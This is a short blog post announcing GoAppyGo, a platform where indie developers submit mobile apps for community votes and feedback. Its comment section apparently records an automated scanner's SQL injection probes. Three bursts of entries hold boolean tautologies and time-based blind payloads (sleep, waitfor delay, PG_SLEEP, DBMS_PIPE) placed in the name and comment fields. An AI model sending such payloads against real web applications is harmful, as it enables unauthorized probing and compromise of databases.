Building a platform for launching and discovering apps

Building a platform for launching and discovering apps

/ #Misc


Since I've been into building apps lately, I wanted a platform to launch this on. That became GoAppyGo.

I've spoken a little bit about this earlier, that I want to make a portfolio of mobile apps. Building apps is fun, and it’s one of the best ways to learn new technologies and improve as a developer. But at some point, you start asking yourself a simple question: what’s the point of building apps if no one can actually find or use them?

The competition for impressions on the App Store and Google Play Store is insane. Thousands of apps are published every single day, and even really good apps can disappear without a trace if they don’t get initial traction. If you don’t do any marketing, you don’t get any downloads. It’s as simple as that. Visibility matters just as much as the product itself.

For indie developers and small teams, this is especially challenging. You might not have a marketing budget, a large audience, or the time to constantly promote your work. Most of us just want a place where we can share what we’ve built, get honest feedback, and maybe reach people who are genuinely interested in trying new apps.

I know that there are already many places online where you can post and promote your apps, but I still think there’s room for more platforms that focus on discovery and community rather than just rankings or paid visibility. Sometimes all an app needs is a small push or a few early users to get started.

That’s why I recently launched the website GoAppyGo. The idea is simple: a place where developers can submit their mobile apps, showcase what they’ve built, and help others discover something new. You can sign up for free, submit your apps, and hopefully get some feedback, visibility, and downloads along the way.

People can vote on apps, leave comments, and share their thoughts. Over time, the goal is to build a small but active community where developers support each other and users can easily find interesting new apps that might otherwise go unnoticed.

If you’re building apps yourself, or just enjoy discovering new ones, feel free to check it out. Every app starts somewhere, and sometimes all it takes is the right place to be seen.

Comments

EFSArCBy | Jul 02, 26 07:14

555

EFSArCBy | Jul 02, 26 07:14

555

EFSArCBy | Jul 02, 26 07:14

555

EFSArCBy | Jul 02, 26 07:14

-1 OR 2+888-888-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 07:14

-1 OR 2+754-754-1=0+0+0+1

EFSArCBy | Jul 02, 26 07:14

-1' OR 2+262-262-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 07:14

-1' OR 2+969-969-1=0+0+0+1 or 'SJUaXbjK'='

EFSArCBy | Jul 02, 26 07:14

-1" OR 2+860-860-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 07:14

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 02, 26 07:14

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 02, 26 07:14

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 02, 26 07:14

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 02, 26 07:14

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 07:14

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 07:14

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 07:14

555jF7KNQeW'; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 07:14

555-1 OR 912=(SELECT 912 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 07:14

555-1) OR 444=(SELECT 444 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 07:14

555-1)) OR 691=(SELECT 691 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 07:14

55534rfGOr9' OR 186=(SELECT 186 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 07:14

5554u5yXhDN') OR 689=(SELECT 689 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 07:14

555B4uIz07U')) OR 612=(SELECT 612 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 07:14

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 02, 26 07:14

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 02, 26 07:14

555

EFSArCBy | Jul 02, 26 07:14

555'"

EFSArCBy | Jul 02, 26 07:14

@@sM1df

EFSArCBy | Jul 02, 26 07:14

555

EFSArCBy | Jul 02, 26 07:14

555

EFSArCBy | Jul 02, 26 07:15

555

EFSArCBy | Jul 02, 26 07:15

555

EFSArCBy | Jul 02, 26 07:15

555

EFSArCBy | Jul 02, 26 07:15

555

EFSArCBy | Jul 02, 26 07:15

555

EFSArCBy | Jul 02, 26 07:15

555

EFSArCBy | Jul 02, 26 07:15

555

EFSArCBy | Jul 02, 26 07:15

555

EFSArCBy | Jul 02, 26 07:15

555

EFSArCBy | Jul 02, 26 07:15

555

EFSArCBy | Jul 02, 26 07:15

555

EFSArCBy | Jul 02, 26 07:15

555

EFSArCBy | Jul 02, 26 07:15

555

EFSArCBy | Jul 02, 26 07:15

555

EFSArCBy | Jul 02, 26 07:15

555

EFSArCBy | Jul 02, 26 07:15

555

EFSArCBy | Jul 02, 26 07:15

555

EFSArCBy | Jul 02, 26 07:15

555

EFSArCBy | Jul 02, 26 07:15

555

EFSArCBy | Jul 02, 26 07:15

555

EFSArCBy | Jul 02, 26 07:15

555

EFSArCBy | Jul 02, 26 07:15

555

-1 OR 2+698-698-1=0+0+0+1 -- | Jul 02, 26 07:15

555

-1 OR 2+792-792-1=0+0+0+1 | Jul 02, 26 07:15

555

-1' OR 2+415-415-1=0+0+0+1 -- | Jul 02, 26 07:15

555

-1' OR 2+982-982-1=0+0+0+1 or 'sTYAtJSn'=' | Jul 02, 26 07:15

555

-1" OR 2+252-252-1=0+0+0+1 -- | Jul 02, 26 07:15

555

if(now()=sysdate(),sleep(15),0) | Jul 02, 26 07:15

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 02, 26 07:15

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 02, 26 07:15

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 02, 26 07:15

555

EFSArCByAZebpnpc'; waitfor delay '0:0:15' -- | Jul 02, 26 07:15

555

EFSArCByDLHM27c2' OR 859=(SELECT 859 FROM PG_SLEEP(15))-- | Jul 02, 26 07:15

555

EFSArCByGDKSzYXc') OR 780=(SELECT 780 FROM PG_SLEEP(15))-- | Jul 02, 26 07:15

555

EFSArCByoJhPPBvU')) OR 179=(SELECT 179 FROM PG_SLEEP(15))-- | Jul 02, 26 07:15

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 02, 26 07:15

555

EFSArCBy | Jul 02, 26 07:15

555

EFSArCBy'" | Jul 02, 26 07:15

555

@@aUXnY | Jul 02, 26 07:15

555

EFSArCBy | Jul 02, 26 07:15

555

EFSArCBy | Jul 02, 26 07:15

555

EFSArCBy | Jul 02, 26 07:15

555

EFSArCBy | Jul 02, 26 07:15

555

EFSArCBy | Jul 02, 26 07:15

555

EFSArCBy | Jul 02, 26 07:15

555

EFSArCBy | Jul 02, 26 07:15

555

EFSArCBy | Jul 02, 26 07:15

555

EFSArCBy | Jul 02, 26 07:15

555

EFSArCBy | Jul 02, 26 07:15

555

EFSArCBy | Jul 02, 26 07:15

555

EFSArCBy | Jul 02, 26 07:15

555

EFSArCBy | Jul 02, 26 07:15

555

EFSArCBy | Jul 02, 26 07:15

555

EFSArCBy | Jul 02, 26 07:15

555

EFSArCBy | Jul 02, 26 07:15

555

EFSArCBy | Jul 02, 26 07:15

555

EFSArCBy | Jul 02, 26 07:15

555

EFSArCBy | Jul 02, 26 07:15

555

EFSArCBy | Jul 20, 26 08:18

555

EFSArCBy | Jul 20, 26 08:18

555

EFSArCBy | Jul 20, 26 08:18

555

EFSArCBy | Jul 20, 26 08:18

-1 OR 2+582-582-1=0+0+0+1 --

EFSArCBy | Jul 20, 26 08:18

-1 OR 2+408-408-1=0+0+0+1

EFSArCBy | Jul 20, 26 08:18

-1' OR 2+634-634-1=0+0+0+1 --

EFSArCBy | Jul 20, 26 08:18

-1' OR 2+476-476-1=0+0+0+1 or 'MyIRpTCu'='

EFSArCBy | Jul 20, 26 08:18

-1" OR 2+553-553-1=0+0+0+1 --

EFSArCBy | Jul 20, 26 08:18

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 20, 26 08:18

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 20, 26 08:18

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 20, 26 08:18

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 20, 26 08:18

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 20, 26 08:18

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 20, 26 08:18

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 20, 26 08:18

555o5LMomd4'; waitfor delay '0:0:15' --

EFSArCBy | Jul 20, 26 08:18

555-1 OR 648=(SELECT 648 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 08:18

555-1) OR 629=(SELECT 629 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 08:18

555-1)) OR 184=(SELECT 184 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 08:18

555fZ47Vk27' OR 581=(SELECT 581 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 08:18

555kvYuti3D') OR 531=(SELECT 531 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 08:18

5556gGNSoPM')) OR 667=(SELECT 667 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 08:18

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 20, 26 08:18

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 20, 26 08:18

555

EFSArCBy | Jul 20, 26 08:18

555'"

EFSArCBy | Jul 20, 26 08:18

@@CcDgI

EFSArCBy | Jul 20, 26 08:18

555

EFSArCBy | Jul 20, 26 08:18

555

EFSArCBy | Jul 20, 26 08:18

555

EFSArCBy | Jul 20, 26 08:18

555

EFSArCBy | Jul 20, 26 08:18

555

EFSArCBy | Jul 20, 26 08:18

555

EFSArCBy | Jul 20, 26 08:18

555

EFSArCBy | Jul 20, 26 08:18

555

EFSArCBy | Jul 20, 26 08:18

555

EFSArCBy | Jul 20, 26 08:18

555

EFSArCBy | Jul 20, 26 08:19

555

EFSArCBy | Jul 20, 26 08:19

555

EFSArCBy | Jul 20, 26 08:19

555

EFSArCBy | Jul 20, 26 08:19

555

EFSArCBy | Jul 20, 26 08:19

555

EFSArCBy | Jul 20, 26 08:19

555

EFSArCBy | Jul 20, 26 08:19

555

EFSArCBy | Jul 20, 26 08:19

555

EFSArCBy | Jul 20, 26 08:19

555

EFSArCBy | Jul 20, 26 08:19

555

EFSArCBy | Jul 20, 26 08:19

555

EFSArCBy | Jul 20, 26 08:19

555

EFSArCBy | Jul 20, 26 08:19

555

EFSArCBy | Jul 20, 26 08:19

555

-1 OR 2+563-563-1=0+0+0+1 -- | Jul 20, 26 08:19

555

-1 OR 2+186-186-1=0+0+0+1 | Jul 20, 26 08:19

555

-1' OR 2+397-397-1=0+0+0+1 -- | Jul 20, 26 08:19

555

-1' OR 2+737-737-1=0+0+0+1 or 'SB5FDbr5'=' | Jul 20, 26 08:19

555

-1" OR 2+518-518-1=0+0+0+1 -- | Jul 20, 26 08:19

555

if(now()=sysdate(),sleep(15),0) | Jul 20, 26 08:19

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 20, 26 08:19

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 20, 26 08:19

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 20, 26 08:19

555

EFSArCByjNo3koQg'; waitfor delay '0:0:15' -- | Jul 20, 26 08:19

555

EFSArCByFyEJ4MNL' OR 275=(SELECT 275 FROM PG_SLEEP(15))-- | Jul 20, 26 08:19

555

EFSArCByn3zSSpWz') OR 552=(SELECT 552 FROM PG_SLEEP(15))-- | Jul 20, 26 08:19

555

EFSArCByIFflroEL')) OR 167=(SELECT 167 FROM PG_SLEEP(15))-- | Jul 20, 26 08:19

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 20, 26 08:19

555

EFSArCBy | Jul 20, 26 08:19

555

EFSArCBy'" | Jul 20, 26 08:19

555

@@Zqy1u | Jul 20, 26 08:19

555

EFSArCBy | Jul 20, 26 08:19

555

EFSArCBy | Jul 20, 26 08:19

555

EFSArCBy | Jul 20, 26 08:19

555

EFSArCBy | Jul 20, 26 08:19

555

EFSArCBy | Jul 20, 26 08:19

555

EFSArCBy | Jul 20, 26 08:19

555

EFSArCBy | Jul 20, 26 08:19

555

EFSArCBy | Jul 20, 26 08:19

555

EFSArCBy | Jul 20, 26 08:19

555

EFSArCBy | Jul 20, 26 08:19

555

EFSArCBy | Jul 20, 26 08:19

555

EFSArCBy | Jul 20, 26 08:19

555

EFSArCBy | Jul 20, 26 08:19

555

EFSArCBy | Jul 20, 26 08:19

555

EFSArCBy | Jul 20, 26 08:19

555

EFSArCBy | Jul 20, 26 08:19

555

EFSArCBy | Jul 20, 26 08:19

555

EFSArCBy | Jul 20, 26 08:19

555

EFSArCBy | Jul 20, 26 08:19

555

EFSArCBy | Jul 23, 26 11:06

555

EFSArCBy | Jul 23, 26 11:06

555

EFSArCBy | Jul 23, 26 11:06

555

EFSArCBy | Jul 23, 26 11:06

-1 OR 2+797-797-1=0+0+0+1 --

EFSArCBy | Jul 23, 26 11:06

-1 OR 2+161-161-1=0+0+0+1

EFSArCBy | Jul 23, 26 11:06

-1' OR 2+357-357-1=0+0+0+1 --

EFSArCBy | Jul 23, 26 11:06

-1' OR 2+855-855-1=0+0+0+1 or 'HF5pbljI'='

EFSArCBy | Jul 23, 26 11:06

-1" OR 2+773-773-1=0+0+0+1 --

EFSArCBy | Jul 23, 26 11:06

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 23, 26 11:06

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 23, 26 11:06

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 23, 26 11:06

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 23, 26 11:06

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 11:06

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 11:06

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 11:06

555B8jRhmIo'; waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 11:06

555-1 OR 680=(SELECT 680 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 11:06

555-1) OR 552=(SELECT 552 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 11:06

555-1)) OR 136=(SELECT 136 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 11:06

555jYYhXbzC' OR 284=(SELECT 284 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 11:06

5557RHVWKGW') OR 192=(SELECT 192 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 11:06

555t85usnuR')) OR 175=(SELECT 175 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 11:06

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 23, 26 11:06

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 23, 26 11:06

555

EFSArCBy | Jul 23, 26 11:06

555'"

EFSArCBy | Jul 23, 26 11:06

@@eMjR7

EFSArCBy | Jul 23, 26 11:06

555

EFSArCBy | Jul 23, 26 11:06

555

EFSArCBy | Jul 23, 26 11:06

555

EFSArCBy | Jul 23, 26 11:06

555

EFSArCBy | Jul 23, 26 11:06

555

EFSArCBy | Jul 23, 26 11:06

555

EFSArCBy | Jul 23, 26 11:06

555

EFSArCBy | Jul 23, 26 11:06

555

EFSArCBy | Jul 23, 26 11:06

555

EFSArCBy | Jul 23, 26 11:06

555

EFSArCBy | Jul 23, 26 11:06

555

EFSArCBy | Jul 23, 26 11:06

555

EFSArCBy | Jul 23, 26 11:06

555

EFSArCBy | Jul 23, 26 11:06

555

EFSArCBy | Jul 23, 26 11:06

555

EFSArCBy | Jul 23, 26 11:06

555

EFSArCBy | Jul 23, 26 11:06

555

EFSArCBy | Jul 23, 26 11:06

555

EFSArCBy | Jul 23, 26 11:06

555

EFSArCBy | Jul 23, 26 11:06

555

EFSArCBy | Jul 23, 26 11:06

555

EFSArCBy | Jul 23, 26 11:07

555

EFSArCBy | Jul 23, 26 11:07

555

EFSArCBy | Jul 23, 26 11:07

555

-1 OR 2+269-269-1=0+0+0+1 -- | Jul 23, 26 11:07

555

-1 OR 2+935-935-1=0+0+0+1 | Jul 23, 26 11:07

555

-1' OR 2+992-992-1=0+0+0+1 -- | Jul 23, 26 11:07

555

-1' OR 2+914-914-1=0+0+0+1 or 'diXGgcBL'=' | Jul 23, 26 11:07

555

-1" OR 2+794-794-1=0+0+0+1 -- | Jul 23, 26 11:07

555

if(now()=sysdate(),sleep(15),0) | Jul 23, 26 11:07

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 23, 26 11:07

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 23, 26 11:07

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 23, 26 11:07

555

EFSArCBy57AHs6OE'; waitfor delay '0:0:15' -- | Jul 23, 26 11:07

555

EFSArCBy5yMURjSp' OR 155=(SELECT 155 FROM PG_SLEEP(15))-- | Jul 23, 26 11:07

555

EFSArCByhzC4aXo3') OR 689=(SELECT 689 FROM PG_SLEEP(15))-- | Jul 23, 26 11:07

555

EFSArCByE1ZRsluy')) OR 820=(SELECT 820 FROM PG_SLEEP(15))-- | Jul 23, 26 11:07

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 23, 26 11:07

555

EFSArCBy | Jul 23, 26 11:07

555

EFSArCBy'" | Jul 23, 26 11:07

555

@@bqFlK | Jul 23, 26 11:07

555

EFSArCBy | Jul 23, 26 11:07

555

EFSArCBy | Jul 23, 26 11:07

555

EFSArCBy | Jul 23, 26 11:07

555

EFSArCBy | Jul 23, 26 11:07

555

EFSArCBy | Jul 23, 26 11:07

555

EFSArCBy | Jul 23, 26 11:07

555

EFSArCBy | Jul 23, 26 11:07

555

EFSArCBy | Jul 23, 26 11:07

555

EFSArCBy | Jul 23, 26 11:07

555

EFSArCBy | Jul 23, 26 11:07

555

EFSArCBy | Jul 23, 26 11:07

555

EFSArCBy | Jul 23, 26 11:07

555

EFSArCBy | Jul 23, 26 11:07

555

EFSArCBy | Jul 23, 26 11:07

555

EFSArCBy | Jul 23, 26 11:07

555

EFSArCBy | Jul 23, 26 11:07

555

EFSArCBy | Jul 23, 26 11:07

555

EFSArCBy | Jul 23, 26 11:07

555

EFSArCBy | Jul 23, 26 11:07

555

Add comment

Info

Please log in to comment!

Newsletter

Subscribe to my weekly newsletter. One time per week I will send you a short summary of the tutorials I have posted in the past week.